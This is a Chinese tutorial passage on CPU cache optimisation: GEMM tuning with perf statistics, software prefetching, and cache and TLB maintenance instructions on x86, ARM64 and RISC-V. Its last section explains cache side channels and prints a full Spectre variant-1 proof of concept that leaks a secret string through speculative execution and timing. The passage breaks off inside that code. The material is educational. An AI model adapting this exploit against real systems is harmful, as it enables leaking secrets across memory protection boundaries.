1,159,271,829,182 L1-dcache-loads
508,981,302,554 L1-dcache-load-misses # 43.91% of all L1-dcache accesses
150.443477720 seconds time elapsed
2634.478028000 seconds user
24.027836000 seconds sys
性能对比第二版确实有所提升但因为发生伪共享的区域没有那么多所以提升只有一点点。
但对比优化后的结果和第一版，结果似乎有些反直觉：为什么优化后的版本速度有极大的提升，但观测到的 L1 缓存未命中率却几乎没变（甚至变多了在2k的情况下）？
答案在于 命中 的内容不同。在第一个程序中，由于使用了 vector 套 vector 的结构，代码在访问 mat_a[i][k] 时需要进行两次寻址。CPU 会频繁地访问 vector 的控制结构和内部指针。这些指针数据量小且访问频繁，很容易驻留在缓存中，从而贡献了很高的“命中率”。但这些命中对于实际的浮点运算并没有直接帮助，反而掩盖了真实数据（浮点数）缓存效率低下的事实。
为了验证“第一个版本的高命中率主要来自指针访问”这一假设，我们可以设计一个对照实验：保留嵌套 vector 的结构和遍历逻辑，但去除实际的浮点运算，仅仅保留对指针的解引用操作。
代码如下（仅展示修改后的 gemm 函数）：
// ...
void gemm(const std::vector<std::vector<float>>& mat_a,
const std::vector<std::vector<float>>& mat_b,
std::vector<std::vector<float>>& mat_c) {
size_t n = mat_a.size();
#pragma omp parallel for
for (size_t i = 0; i < n; ++i) {
for (size_t j = 0; j < n; ++j) {
mat_c[i][j] = 0.0f;
}
}
#pragma omp parallel for
for (size_t i = 0; i < n; ++i) {
for (size_t j = 0; j < n; ++j) {
// 无用的指针，不进行运算只解引用指针。
void* temp_ptr_a;
void* temp_ptr_b;
for (size_t k = 0; k < n; ++k) {
temp_ptr_a = (void*)mat_a[i].data();
temp_ptr_b = (void*)mat_b[k].data();
asm volatile("" : : "r,m"(temp_ptr_a) : "memory");
asm volatile("" : : "r,m"(temp_ptr_b) : "memory");
mat_c[i][j] += 1.f;
}
}
}
}
// ...
运行这个空转版本的测试结果如下：
Mat size:1024
# 没有计算所以不展示运行时间了
Performance counter stats for './a.out':
598,619,274,221 L1-dcache-loads
972,574,542 L1-dcache-load-misses # 0.16% of all L1-dcache accesses
20.719599652 seconds time elapsed
415.781408000 seconds user
22.247071000 seconds sys
Mat size:2048
# 没有计算所以不展示运行时间了
Performance counter stats for './a.out':
2,997,374,286,226 L1-dcache-loads
123,530,075,913 L1-dcache-load-misses # 4.12% of all L1-dcache accesses
92.797063078 seconds time elapsed
1401.637282000 seconds user
21.878271000 seconds sys
建议用IDA或者ghidra之类的软件确定
temp_ptr_x没有被优化掉，一开始笔者就被volatile变量坑了。
高达 95%+ 的命中率验证了猜想：在嵌套容器的结构中，缓存系统服务于指针跳转（Pointer Chasing），而非核心数据的计算。不能盲目依赖缓存命中率，必须结合内存布局和实际运行时间来综合判断。
还能怎么样进行优化呢？答案是 数据对齐，这样做有两个好处：
- 对齐的数据不会出现跨缓存行访问的情况：
考虑你有一个float（4个字节），如果地址的最后两位不是0b00的话可能会出现数据的前几个字节在缓存行A后几个又在缓存行B里，这时CPU需要读取两个缓存行才能得到数据。
如果一个缓存行有64个字节，地址是64位，缓存有>=2个组，那float在哪里会出现跨行问题？（点击查看答案）
float数据刚好在地址0x1000_0000_0000_003e时，float的前两个字节会在第一组后两个字节会在第二组。（答案不唯一）
- 方便解决缓存一致性问题，很显然这些CPU核心会竞争地写入一些数据，根据M(O)ESI协议或类似的协议，如果他们写入的地方虽然无关但都在同一个缓存行的话会导致 缓存行震荡 这会在接下来谈到。
由于测试CPU的缓存行大小是64字节所以这里强制64字节对齐：
// ...
#include <boost/align/aligned_allocator.hpp>
// ...
#define ALIGN_SIZE 64
// ...
template<typename Alloc>
void use_huge_pages(std::vector<float, Alloc>& vec) {
// ...
}
// ...
int main() {
//...
std::vector<float, boost::alignment::aligned_allocator<float, ALIGN_SIZE>> A(mat_size * mat_size);
std::vector<float, boost::alignment::aligned_allocator<float, ALIGN_SIZE>> B(mat_size * mat_size);
std::vector<float, boost::alignment::aligned_allocator<float, ALIGN_SIZE>> C(mat_size * mat_size);
//...
}
// ...
Mat size:1024
Average elapsed: 199.918 ms
Performance counter stats for './a.out':
376,407,070,655 L1-dcache-loads
54,855,266,071 L1-dcache-load-misses # 14.57% of all L1-dcache accesses
27.045134989 seconds time elapsed
537.984386000 seconds user
22.377007000 seconds sys
Mat size:2048
Average elapsed: 1640.846 ms
Performance counter stats for './a.out':
1,116,871,532,642 L1-dcache-loads
535,127,784,259 L1-dcache-load-misses # 47.91% of all L1-dcache accesses
149.615736814 seconds time elapsed
2739.506131000 seconds user
23.566220000 seconds sys
虽然由于编译器会提前进行一定的对齐操作（比如才测试第二个程序的时候就发现了C++运行时似乎始终对齐了16bits）这让我们并不能感受到明显的性能提升（因为对齐带来最直接的影响是第一点）。不过接下来的操作可以实打实提升更多性能.
通过观察不难发现GEMM函数最内层的循环有一个访问mat_b[n * k + j]又因为k是最内层的循环索引，所以这个访问每回合循环都在跳变。这违背了 空间局部性原理 所以进行如下修改：
// ...
#include <mkl.h>
// ...
void gemm(const float* mat_a, const float* mat_b, float* mat_c, int n) {
std::vector<float, boost::alignment::aligned_allocator<float, ALIGN_SIZE>> mat_b_trans(n * n);
mkl_somatcopy('r', 't', n, n, 1, mat_b, n, mat_b_trans.data(), n);
#pragma omp parallel for
for (size_t i = 0; i < n; ++i) {
for (size_t j = 0; j < n; ++j) {
mat_c[n * i + j] = 0.0f;
}
}
#pragma omp parallel for
for (size_t i = 0; i < n; ++i) {
for (size_t j = 0; j < n; ++j) {
float sum = 0.0f;
for (size_t k = 0; k < n; ++k) {
sum += mat_a[n * i + k] * mat_b_trans[n * j + k];
}
mat_c[n * i + j] = sum;
}
}
}
// ...
高效的矩阵转置算法也很难写，所以这里用现成的了。记得利用
-lmkl_rt链接上哦。
虽然矩阵转置需要时间，但我们成功将mat_b[n * k + j]变成了mat_b_trans[n * j + k]。乘以n的不再是最内层的索引，我们可以按照内存顺序一个个从n * j + 0读取到n * j + (n - 1)。
有些现代CPU专门针对均匀稀疏访问做了预取优化，如果是这样的话那下面的代码可能没那么多提升。（事实上在上面的代码笔者在测试过程中发现了一些疑似硬件预取器发力了的表现）
效果如下：
Mat size:1024
Average elapsed: 52.099 ms
Performance counter stats for './a.out':
388,379,615,865 L1-dcache-loads
2,798,737,050 L1-dcache-load-misses # 0.72% of all L1-dcache accesses
18.017473354 seconds time elapsed
349.175046000 seconds user
21.268530000 seconds sys
Mat size:2048
Average elapsed: 361.650 ms
Performance counter stats for './a.out':
1,366,940,917,798 L1-dcache-loads
21,837,274,314 L1-dcache-load-misses # 1.60% of all L1-dcache accesses
68.418329601 seconds time elapsed
858.187934000 seconds user
21.893039000 seconds sys
是的，L1缓存命中率直接到道了 98% 以上，这就是优化数据结构的必要性！不过我们真的要这个矩阵转置吗？矩阵转置可是一种很低效的操作哦。
回想一下数学里的常见操作求和换序我们同样也可以这样干，我们之前引入数据对齐（准确来说是缓存行对齐）用于解决缓存一致性问题sum变量也不需要了，因为缓存行是对齐的！
// ...
void gemm(const float* mat_a, const float* mat_b, float* mat_c, int n) {
#pragma omp parallel for
for (size_t i = 0; i < n; ++i) {
for (size_t j = 0; j < n; ++j) {
mat_c[n * i + j] = 0.0f;
}
}
#pragma omp parallel for
for (size_t i = 0; i < n; ++i) {
for (size_t k = 0; k < n; ++k) {
for (size_t j = 0; j < n; ++j) {
mat_c[n * i + j] += mat_a[n * i + k] * mat_b[n * k + j];
}
}
}
}
// ...
效果如下：
Average elapsed: 13.974 ms
Performance counter stats for './a.out':
287,349,046,333 L1-dcache-loads
2,619,935,316 L1-dcache-load-misses # 0.91% of all L1-dcache accesses
15.389579459 seconds time elapsed
301.357184000 seconds user
22.266156000 seconds sys
Mat size:2048
Average elapsed: 122.768 ms
Performance counter stats for './a.out':
539,508,240,280 L1-dcache-loads
28,057,871,006 L1-dcache-load-misses # 5.20% of all L1-dcache accesses
53.120317929 seconds time elapsed
487.564584000 seconds user
21.847366000 seconds sys
我们最终分别获得了48.78倍（1k）和51.31倍（2k）性能提升！其实这个结果还可以进一步优化，但这涉及到SIMD优化，但这不属于缓存相关内容所以不做讨论。感兴趣的读者可以查看这个仓库。
接下来我们会以链表操作更进一步讲解缓存优化相关的技巧：
#include <iostream>
#include <list>
#include <format>
#include <print>
#include <cstdint>
#include <algorithm>
#include <random>
#define LIST_SIZE 65536
#define TEST_SIZE 1024
class Item {
private:
uint64_t j;
public:
void do_something() {
for(uint64_t i = 0; i < TEST_SIZE; i++) {
// Same nop in x86 arm risc-v ...
asm volatile("nop" : : :);
j++;
}
}
};
std::list<Item> create_random_memory_list(size_t size) {
std::list<Item> temp_list;
for (size_t i = 0; i < size; ++i) {
temp_list.push_back(Item{});
}
std::vector<std::list<Item>::iterator> iterators;
iterators.reserve(size);
for (auto it = temp_list.begin(); it != temp_list.end(); ++it) {
iterators.push_back(it);
}
std::random_device rd;
std::mt19937 g(rd());
std::shuffle(iterators.begin(), iterators.end(), g);
std::list<Item> final_list;
for (auto it : iterators) {
final_list.splice(final_list.end(), temp_list, it);
}
return final_list;
}
int main() {
auto test_list = create_random_memory_list(LIST_SIZE);
for(auto it = test_list.begin(); it != test_list.end(); ++it) {
auto next_it = std::next(it);
#if defined(__x86_64__) || defined(_M_X64)
asm volatile("prefetcht0 (%[next_node_ptr])" : : [next_node_ptr] "r" (&(*next_it)) :);
#elif defined(__aarch64__)
asm volatile("prfm pldl1keep, [%[next_node_ptr]]" : : [next_node_ptr] "r" (&(*next_it)) :);
asm volatile("prfm pstl1keep, [%[next_node_ptr]]" : : [next_node_ptr] "r" (&(*next_it)) :);
#elif defined(__riscv_zicbop)
asm volatile("prefetch.r (%[next_node_ptr])" : : [next_node_ptr] "r" (&(*next_it)) :);
asm volatile("prefetch.w (%[next_node_ptr])" : : [next_node_ptr] "r" (&(*next_it)) :);
#endif
(*it).do_something();
}
}
这个程序的核心是 缓存预取（Prefetch） 操作。CPU虽然能预判到顺序访存并提前把数据在读/写分配前就准备好（甚至只要是均匀步长的访问往往也能预测到），但对于一个打乱的链表并没有一个很好的办法让CPU完成预判。
在这种情况下我们可以通过程序辅助CPU完成缓存预取，通过指令让CPU在处理当前链表节点的同时读取下一个节点的数据可以显著提高命中率。根据统计数据，优化前的缓存未命中率是平均0.92%优化后是0.84%。
10.2 高速缓存相关操作
10.2.1 数据/指令缓存相关操作
正如第二章所介绍，缓存的核心操作主要有三个：Invalidate（使失效）、Clean（写回/清洗）和 Flush（写回并使失效）。
在正式介绍之前，先介绍一种特殊的缓存行操作：Zero (清零)。
从第三章的讲解我们知道，一般的 写分配 (Write Allocate) 策略在写入未命中的缓存行时，会先从内存读取整个缓存行（Read for Ownership）。但如果软件明确知道要覆盖整个缓存行，Zero 操作允许 CPU 跳过读取步骤，直接在缓存中分配并填零，从而极大提高效率。
注：访存顺序（Memory Ordering）不属于本节缓存控制的范畴，属于 CPU 乱序执行相关内容。除非特殊说明，以下指令通常需要配合内存屏障（如
sfence,dsb等）使用以确保顺序。
1. x86 架构
x86 架构提供了一系列用于显式维护缓存一致性和持久性的指令。以下指令描述采用 AT&T 汇编语法。操作数 m8 代表指向目标缓存行的字节内存地址（如 (%rax)、8(%rbx)、symbol(%rip) 等）。
首先是 细粒度的缓存行操作 ，这些指令可以在用户态执行：
- 1.
clflush m8(Cache Line Flush)：- 将指定地址的缓存行执行 Flush 操作（写回并失效）。这是最基础的指令，强制数据推送到内存。
- 2.
clflushopt m8(Optimized Cache Line Flush)：- 功能与
clflush类似，但放宽了排序约束（不隐含强屏障），吞吐量更高。必须在适当时机添加如sfence等指令。
- 功能与
- 3.
clwb m8(Cache Line Write Back)：- 执行 Clean 操作（仅写回，不一定失效）。相比
clflush，它可能保留缓存行在Exclusive或Shared状态，减少后续读取的开销。
- 执行 Clean 操作（仅写回，不一定失效）。相比
- 4.
cldemote m8(Cache Line Demote)：- 提示硬件将缓存行从近核缓存（如 L1/L2）移动到远核缓存（如 L3），而不是直接写回内存。这是一种性能优化提示。
然后是 粗粒度/全局操作 ，通常需要 Ring 0 权限，影响范围是整个核心或缓存层次结构：
- 1.
wbinvd(Write Back and Invalidate Cache)：- Flush 所有层级的缓存。注意：它通常只影响当前核心的私有缓存（L1/L2）以及所有核心共享的缓存（L3），不会影响其他核心的私有缓存。
- 2.
invd(Invalidate Cache)：- Invalidate 所有层级的缓存。警告：这会直接丢弃脏数据而不写回内存，可能导致系统崩溃，仅在特定初始化场景谨慎使用。
最后是 预取指令 (Prefetch)：
prefetcht0 m8（Prefetch Temporal Data level 0）：预取拥有时间局部性的数据。level0代表可能马上用到，一般会预取到 L1数据缓存+L2+L3。
prefetcht1 m8（Prefetch Temporal Data level 1）：预取拥有时间局部性的数据。level1代表会用到但比上一级慢，一般会预取到 L2+L3。
prefetcht2 m8（Prefetch Temporal Data level 2）：预取拥有时间局部性的数据。level1代表会用到但比上一级慢，一般会预取到 L3。
prefetchnta m8（Prefetch Non-Temporal Data Access）：预取 不 拥有时间局部性的数据，一般指只用一次的数据。
prefetchit0 m8（Prefetch Temporal Code level 0）：预取拥有时间局部性的指令。level0代表可能马上用到，一般会预取到 L1指令缓存+L2+L3。
prefetchit1 m8（Prefetch Temporal Code level 1）：预取拥有时间局部性的指令。level1代表会用到但比上一级慢，一般会预取到 L2+L3。
2. ARM 架构 (AArch64)
ARM64的数据缓存操作指令格式很统一，也就是DC <op>, <Xt>（DC代表datacache），而且所有缓存操作指令均需要手动屏障。
ARM64的缓存操作（operation）大体可以分为如下部分(I|C|CI|Z){G|GB|GD}(SW|VAC|VADP|VAP|VAOC|PAE|PAPA)，()代表必选部分，{}代表可选部分，|代表这部分的可选项。
其中C代表Clean也就是只进行写回的操作，CI代表Flush操作，Z代表Zero操作，I代表Invalidate操作。
G这个可选项是ARM中一个名为 ARM MET(Memory Tagging Extension) 的特殊扩展带来的选项（需要CPU支持FEAT_MTE系列拓展否则指令非法），简单来说数据缓存不仅仅要存储数据，还要存储 内存分配标签。G选项正是用于写回脏的内存分配标签用的，另外GD代表同时回收标签和数据，GB用于在清零情况下清除标签。
接下来是四种选取缓存行的操作：
- SW（Set/Way）：根据缓存组和缓存路以及缓存层级选取缓存行病进行对应操作，
<Xt>的高32位为0，[31:32-log2(路数量)]位确定哪一路缓存，[log2(组数量)+log2(缓存行byte数量)-1:log2(缓存行byte数量)]用于确定哪一组，[3:1]位用于确认缓存层级（例如0代表L1，1代表L2），[0]保留0。
- SW（Set/Way）：根据缓存组和缓存路以及缓存层级选取缓存行病进行对应操作，
接下来三种
<Xt>都代表虚拟地址。- VAC（VA Point of Coherency）：仅确保操作后的数据对说有总线上的设备（CPU核心，DMA等）都可见。
- VADP(VA Point of Persistence)：附带保证在该点有足够的能量来确保如果系统电源被移除，对内存的写入操作将是持久的。
- VAP(VA PoDP)：一旦数据写入操作达到 PoDP，即使发生断电或其他硬件故障，这些数据也不会丢失。（需要CPU支持FEAT_DPB2特性）
- VAOC(VA Outer cache level)：写入到芯片外部（至少是在处理器核心之外）的巨大缓存中（需要CPU支持FEAT_OCCMO特性）
接下来的
PAE和PAPA涉及到物理内存和加密相关的内容，过于复杂再次不做赘述。
不难看出 ARM64 提供了极细粒度的缓存控制指令，接下来是预取指令。
ARM64下的预取指令也用统一的格式 prfm (<prfop>|#<imm5>), [<Xn|SP>, (<Wm>|<Xm>){, <extend> {<amount>}}]，我们不关注后面那一堆寻址用的部分只关注<prfop>|#<imm5>部分所代表的操作就好了（imm5其实就是prfop的立即数版本）。
预取缓存操作（也就是prfop）也遵循固定的格式，即(pld|pli|pst)(l1|l2|l3|slc)(keep|strm)。
我们先看表示用途第一部分：
pld（Prefetch for load）：预取是为了读取，一般会通过 MESI 等协议和别的核心处于数据共享状态。
pli（Prefetch for instruction）：预取是为了执行指令，会决定将数据预取到指令缓存还是数据缓存。
pst（Prefetch for store）：预取是为了写入，一般会通过 MESI 等协议独占数据。
再看表示层级的第二部分：
l1：预取到L1缓存。
l2：预取到L2缓存。
l3：预取到L3缓存。
slc：预取到系统缓存（System level cache，一般甚至会和GPU等外设共享）缓存，需要CPU支持FEAT_PRFMSLC扩展。
接下来是代表生命周期的第三部分：
keep：代表具备时间局部性的信息。
strm：代表可能用完就丢的流式信息（stream）。
3. RISC-V 架构
RISC-V 的缓存管理通过 CMO (Cache Management Operation) 扩展提供，设计简洁。
先是 缓存块管理 (Zicbom) 扩展。在内存序方面，这些指令通常被视为等价于 Store 操作，指令基本格式为cbo.<op> offset(base)也就是对base寄存器地址+offset执行操作<op>：
- 1.
cbo.clean offset(base)：执行 Clean 操作。 - 2.
cbo.flush offset(base)：执行 Flush 操作。 - 3.
cbo.inval offset(base)：执行 Invalidate 操作（硬件实现上可能等同于 Flush）。
再是 缓存块清零 (Zicboz) 扩展：
- 1.
cbo.zero offset(base)：对指定地址的缓存块执行 Zero 操作。
最后是 预取指令 (Zicbop) 扩展：
- 1.
prefetch.r offset(base)：预取用于读取。 - 2.
prefetch.w offset(base)：预取用于写入（通常会利用MESI等协议独占数据先）。 - 3.
prefetch.i offset(base)：预取指令。
此外对于L1D Cache和L1I Cache之间的同步问题risc-v引入了一个专门的指令扩展zifencei用于同步这两个缓存。
这个扩展引入了fence.i指令，没有任何参数。
10.2.2 TLB 相关操作
除了数据缓存以外，CPU 中另一个极其重要的缓存组件就是 TLB (Translation Lookaside Buffer)。它缓存了虚拟地址到物理地址的映射关系（页表项）。并且由于TLB是只读缓存所以我们只关注Invalidate操作。
由于 TLB 往往不具备类似 MESI 的硬件一致性协议，当操作系统修改了页表（例如分配新页、解除映射、换页或修改权限）时，必须通过指令显式地让旧的 TLB 条目失效（Invalidate）。
1. x86 架构
x86 架构主要依赖显式的指令和寄存器操作来管理 TLB。需要注意的是，x86 的 TLB 维护指令通常 只影响当前逻辑核心 。在多核系统中，操作系统必须通过 核间中断（IPI） 触发“TLB Shootdown”流程，通知其他核心执行相应的刷新操作。
1.
invlpg m8(Invalidate TLB Entry)：- 细粒度。使包含指定虚拟地址（m8）的 TLB 条目失效。无论该条目是否被标记为全局（Global），都会被清除。这是内核在解除映射（unmap）时最常用的指令。
2.
mov cr3, reg(Write to CR3)：- 粗粒度。更新 CR3 寄存器（页表基址寄存器）会使当前核心的所有 TLB 条目失效。
- 例外：如果页表项中的
G(Global) 位被置位（通常用于内核映射），则该条目 不会 被此操作清除。这通常用于进程上下文切换（Context Switch）。
3.
mov cr4, reg(Toggle CR4.PGE)：- 全局刷新。如果要清除那些标记为“Global”的 TLB 条目（例如内核空间的映射），单纯修改 CR3 是不够的。
- 标准做法是将
CR4寄存器的 PGE (Page Global Enable) 位（第 7 位）先清零再置位。这会强制刷新 所有 TLB 条目，包括全局条目。
4.
invpcid(Invalidate Process-Context Identifier)：- 特定上下文。配合 PCID 特性，允许更灵活的操作，例如刷新指定 PCID 的所有条目，或者刷新所有 PCID 但保留全局条目。
2. ARM 架构 (AArch64)
ARM64 提供了极其庞大的 TLB 维护指令集（TLBI），并且支持 硬件广播 。这意味着只需在一个核心执行特定的 TLBI 指令，硬件总线（如 AMBA DVM）会自动将失效操作广播到指定范围内的其他核心，极大减轻了软件处理多核一致性的负担。
TLBI 的指令格式高度统一，命名逻辑为 TLBI <Type><Level>{Scope}，操作数 <Xt> 通常包含虚拟地址或 ASID。
核心字段解析：
- Type (操作对象):
VMALL: 虚拟机所有条目 (Virtual Machine All)ASID: 按地址空间 ID (Address Space ID)VA: 按虚拟地址 (Virtual Address)VAA: 按虚拟地址，忽略 ASID (Virtual Address, All ASID)ALL: 所有条目
- Level (层级):
E1/E2/E3: 对应异常等级 EL1 (内核), EL2 (虚拟化), EL3 (安全世界)。S2: 第二阶段转换 (Stage 2)，用于虚拟化嵌套。
- Scope (广播范围):
- (无后缀): 仅当前核心 (Local)。
IS(Inner Shareable): 内部共享域。通常指同一个 SMP 系统内的所有核心。这是实现硬件广播的关键，例如TLBI VAE1IS。OS(Outer Shareable): 外部共享域，用于更复杂的异构系统。
常用指令举例：
TLBI VMALLE1IS: 使 EL1 下所有 TLB 条目失效，并广播到内部共享域（常用于上下文切换）。
TLBI VAE1IS, <Xt>: 使 EL1 下指定虚拟地址的 TLB 失效，并广播（常用于解除映射）。
TLBI ASIDE1IS, <Xt>: 使 EL1 下指定 ASID 的 TLB 失效，并广播。
罕见及高级变种（仅作列举）：
除了上述基础组合外，ARM 还引入了大量针对特定场景优化的变种，包括 Range (范围) 操作、Pair (成对) 操作以及针对 Stage 2 转换的操作。这些指令虽然数量庞大，但逻辑与上述一致。
注：以下指令主要用于特定的虚拟化场景（Stage 2）、大范围地址无效化（Range）或特定的总线优化（NXS），此处仅列出以展示其指令集的完备性，不做详细展开。
- Range 类 (
R前缀): 支持一次性无效化一个地址范围，避免循环执行单页无效化。TLBI RVAE1IS,TLBI RVALE1IS,TLBI RVAAE1IS等。
- Pair 类 (
P后缀): 也就是TLBIP系列，用于无效化最后两级页表对应的条目。 - Stage 2 类 (
IPAS2,RIPAS2): 用于虚拟化场景下物理地址到机器物理地址的映射管理。TLBI IPAS2E1IS,TLBI RIPAS2E1IS等。
- NXS 后缀: 表示 “No eXtra Synchronization”，用于特定的硬件优化场景。
3. RISC-V 架构
RISC-V 的 TLB 管理设计得非常简洁，归类于 sfence.vma 指令。与 x86 类似，标准规范下它只影响 当前 hart （硬件线程），多核一致性通常依赖软件（SBI 调用或 IPI）。
sfence.vma rs1, rs2:rs1(Virtual Address): 指定要失效的虚拟地址。若为x0，则失效所有地址。rs2(ASID): 指定要失效的地址空间 ID。若为x0，则失效所有 ASID。
10.3 缓存漏洞
10.3.1 原理
现代CPU往往伴随着推测执行，也就是在不确定指令是否要执行的时候就已经执行了，发现错了再进行回滚操作。但是 往往 操作回滚并 不会 回滚缓存的读/写分配，这给我们通过观察缓存命中（依靠记时）情况推测数据带来了可能。
下面是一个典型的Spectre漏洞利用程序：
#include <print>
#include <cstdlib>
#include <cstdint>
#include <cstring>
#include <x86intrin.h>
#include <algorithm>
#include <sys/mman.h>
#include <unistd.h>
#define HAZARD_HACK_TYPE_3
constexpr size_t RETRY_LIMIT = 8192;
constexpr size_t CACHE_HIT_THRESHOLD = 80;
constexpr size_t TRAINING_ITERATIONS = 26;
constexpr size_t FLUSH_DELAY_CYCLES = 128;
constexpr size_t TRAINING_MODULUS = 6;
constexpr size_t CACHELINE_SIZE = 64 * 8; // 我的CPU的缓存行大小是64个byte
// 自动获取最佳随机参数算法的配置区
constexpr uint16_t SEARCH_A_START = 1;
constexpr uint16_t SEARCH_A_END = 64;
constexpr uint16_t SEARCH_B_START = 0;
constexpr uint16_t SEARCH_B_END = 8;
constexpr int32_t COMMON_CONTINUOUS_WEIGHT = 2;
constexpr int32_t UNIFORM_CONTINUOUS_WEIGHT = 1;
struct ShuffleResult {
size_t a;
size_t b;
int32_t score;
};
// 这里的计分规则匹配的是CPU的两种常见缓存预取机制（连续均匀预取和连续预取）。
// 如果报错可以改一个稍大的编译期计算上限：
// clang -fconstexpr-steps=10000000
// gcc -fconstexpr-ops-limit=10000000
constexpr ShuffleResult find_best_params() {
ShuffleResult best{0, 0, std::numeric_limits<int32_t>::max()};
for (uint16_t a = SEARCH_A_START; a < SEARCH_A_END; ++a) {
if ((a & 1) == 0) continue; // 等价于std::gcd(SHUFFLE_PARAM_A, 256) == 1
// 窗口为3的滑动窗口算法
for (uint16_t b = SEARCH_B_START; b < SEARCH_B_END; ++b) {
int32_t score = 0;
uint8_t v0 = static_cast<uint8_t>((0 * a + b) & 0xFF);
uint8_t v1 = static_cast<uint8_t>((1 * a + b) & 0xFF);
for (size_t i = 0; i < 256 - 2; ++i) {
uint8_t v2 = static_cast<uint8_t>(((i + 2) * a + b) & 0xFF);
int16_t diff1 = static_cast<int16_t>(v1) - static_cast<int16_t>(v0);
int16_t diff2 = static_cast<int16_t>(v2) - static_cast<int16_t>(v1);
if (diff1 == diff2) {
score += UNIFORM_CONTINUOUS_WEIGHT;
if (diff1 == 1) {
score += COMMON_CONTINUOUS_WEIGHT;
}
}
v0 = v1;
v1 = v2;
}
if (score < best.score) {
best = {a, b, score};
}
}
}
return best;
}
constexpr auto BEST_PARAMS = find_best_params();
constexpr size_t BEST_SHUFFLE_PARAM_A = BEST_PARAMS.a;
constexpr size_t BEST_SHUFFLE_PARAM_B = BEST_PARAMS.b;
// 另外你可以试一些很糟糕的参数，比如a=1, b=0，这可能会让代码在一些拥有强力缓存预取机制的CPU上无法工作。
constexpr size_t MANUAL_SHUFFLE_PARAM_A = 0x0721;
constexpr size_t MANUAL_SHUFFLE_PARAM_B = 0x0d00;
constexpr size_t SHUFFLE_PARAM_A = MANUAL_SHUFFLE_PARAM_A ? MANUAL_SHUFFLE_PARAM_A : BEST_SHUFFLE_PARAM_A;
constexpr size_t SHUFFLE_PARAM_B = MANUAL_SHUFFLE_PARAM_B ? MANUAL_SHUFFLE_PARAM_B : BEST_SHUFFLE_PARAM_B;
static_assert((SHUFFLE_PARAM_A & 1) == 1); // 等价于std::gcd(SHUFFLE_PARAM_A, 256) == 1
uint64_t index_array_size = 16;
uint8_t index_array[16] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
alignas(CACHELINE_SIZE) uint8_t probe_array[256 * CACHELINE_SIZE];
char secret_message[] = "This is the top secret.";
void __attribute__((noinline)) speculative_execution_function(size_t index) {
static uint8_t dummy_variable = 0;
if (index < index_array_size) {
dummy_variable &= probe_array[index_array[index] * CACHELINE_SIZE];
}
}
void extract_memory_byte(size_t target_index, uint8_t* extracted_value, size_t* access_score) {
size_t result_scores[256]{};
uint64_t junk_data = 0;
size_t* max_score_ptr = nullptr;
volatile size_t training_index, accessed_index;
volatile uint64_t start_time, elapsed_time;
volatile uint8_t* memory_address;
for (size_t attempts = 0; attempts < RETRY_LIMIT; ++attempts) {
for (size_t i = 0; i < 256; ++i) {
_mm_clflush(&probe_array[i * CACHELINE_SIZE]);
}
// 读分配欺骗部分
// ========================
// 轮着访问训练数组的元素。
training_index = static_cast<size_t>(attempts % static_cast<int64_t>(index_array_size));
// i=1 开始是为了内部的摸运算不会在没训练分支预测的时候就开始推测。
for (size_t i = 1; i <= TRAINING_ITERATIONS; ++i) {
_mm_clflush(&index_array_size);
// 冲刷 CPU 流水线使得后面的行为更可预测。
for (size_t j = 0; j < FLUSH_DELAY_CYCLES; ++j) {
asm volatile ("nop");
}
// 等价于逻辑：
// if (i % TRAINING_MODULUS == 0) accessed_index = target_index;
// else accessed_index = training_index;
// 这样做的基本思路在于手动构造对accessed_index的RAW（写后读）依赖，如果直接使用三元运算符之类的逻辑经过观察数据依赖不足以在执行到if (index < index_array_size)时accessed_index依然存在数据依赖，导致内部代码不能被推测执行。
// 这里提供了多种等价的例子（而且至少在笔者的CPU上都有用）方便读者理解。
#ifdef HAZARD_HACK_TYPE_1
size_t remainder = i % TRAINING_MODULUS;
size_t mask = (remainder | -remainder) >> 63;
mask = mask - 1;
accessed_index = (target_index & mask) | (training_index & ~mask);
#elif defined(HAZARD_HACK_TYPE_2)
size_t mask = static_cast<size_t>((i % TRAINING_MODULUS) != 0) - 1;
accessed_index = (target_index & mask) | (training_index & ~mask);
#elif defined(HAZARD_HACK_TYPE_3)
size_t mask = -static_cast<size_t>((i % TRAINING_MODULUS) == 0);
accessed_index = training_index ^ ((target_index ^ training_index) & mask);
#else
size_t rem = i % TRAINING_MODULUS;
size_t is_match = (rem == 0);
size_t not_match = (rem != 0);
accessed_index = (is_match * target_index) + (not_match * training_index);
#endif
speculative_execution_function(accessed_index);
}
// 缓存检测部分
// ========================
size_t SHUFFLEed_index;
uint32_t timer_aux;
for (size_t i = 0; i < 256; ++i) {
// 置换生成器（这里随便实现一个简单的shuffle，双射条件参见static_assert）
SHUFFLEed_index = ((i * SHUFFLE_PARAM_A) + SHUFFLE_PARAM_B) & 255;
memory_address = &probe_array[SHUFFLEed_index * CACHELINE_SIZE];
start_time = __rdtscp(&timer_aux);
junk_data = *memory_address;
elapsed_time = __rdtscp(&timer_aux) - start_time;
if (static_cast<size_t>(elapsed_time) <= CACHE_HIT_THRESHOLD &&
SHUFFLEed_index != static_cast<size_t>(index_array[attempts % index_array_size])) {
result_scores[SHUFFLEed_index]++;
}
}
max_score_ptr = std::max_element(result_scores, result_scores + 256);
if (*max_score_ptr >= RETRY_LIMIT / 2) {
break;
}
}
*extracted_value = static_cast<uint8_t>(max_score_ptr - result_scores);
*access_score = *max_score_ptr;
}
int main() {
size_t bytes_to_read = static_cast<size_t>(sizeof(secret_message) - 1);
void* secret_memory_address = mmap(NULL, static_cast<size_t>(bytes_to_read),
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (secret_memory_address == MAP_FAILED) {
std::println(stderr, "Failed to allocate memory.");
return -1;
}
memcpy(secret_memory_address, secret_message, static_cast<size_t>(bytes_to_read));
// 如果在这里设置了不可读就会让缓存的读分配出现问题，导致漏洞无法利用。
if (mprotect(secret_memory_address, static_cast<size_t>(bytes_to_read), PROT_READ) == -1) {
std::println(stderr, "Failed to set memory protection.");
munmap(secret_memory_address, static_cast<size_t>(bytes_to_read));
return -1;
}
std::println("Shuffle param a:0x{:x}\nShuffle param b:0x{:x}", SHUFFLE_PARAM_A, SHUFFLE_PARAM_B);
std::fill(probe_array, probe_array + sizeof(probe_array), 1);
std::println("Reading {} bytes:", bytes_to_read);
size_t target_index = static_cast<size_t>(static_cast<char*>(secret_memory_address) - reinterpret_cast<char*>(index_array));
size_t score;
uint8_t value;
for(size_t i = 0; i < bytes_to_read; ++i) {
extract_memory_byte(target_index, &value, &score);
std::println("Reading at offset 0x{:x}: '{}' score={}",
target_index,
static_cast<char>(value > 31 && value < 127 ? value : '?'),
score);
target_index++;
}
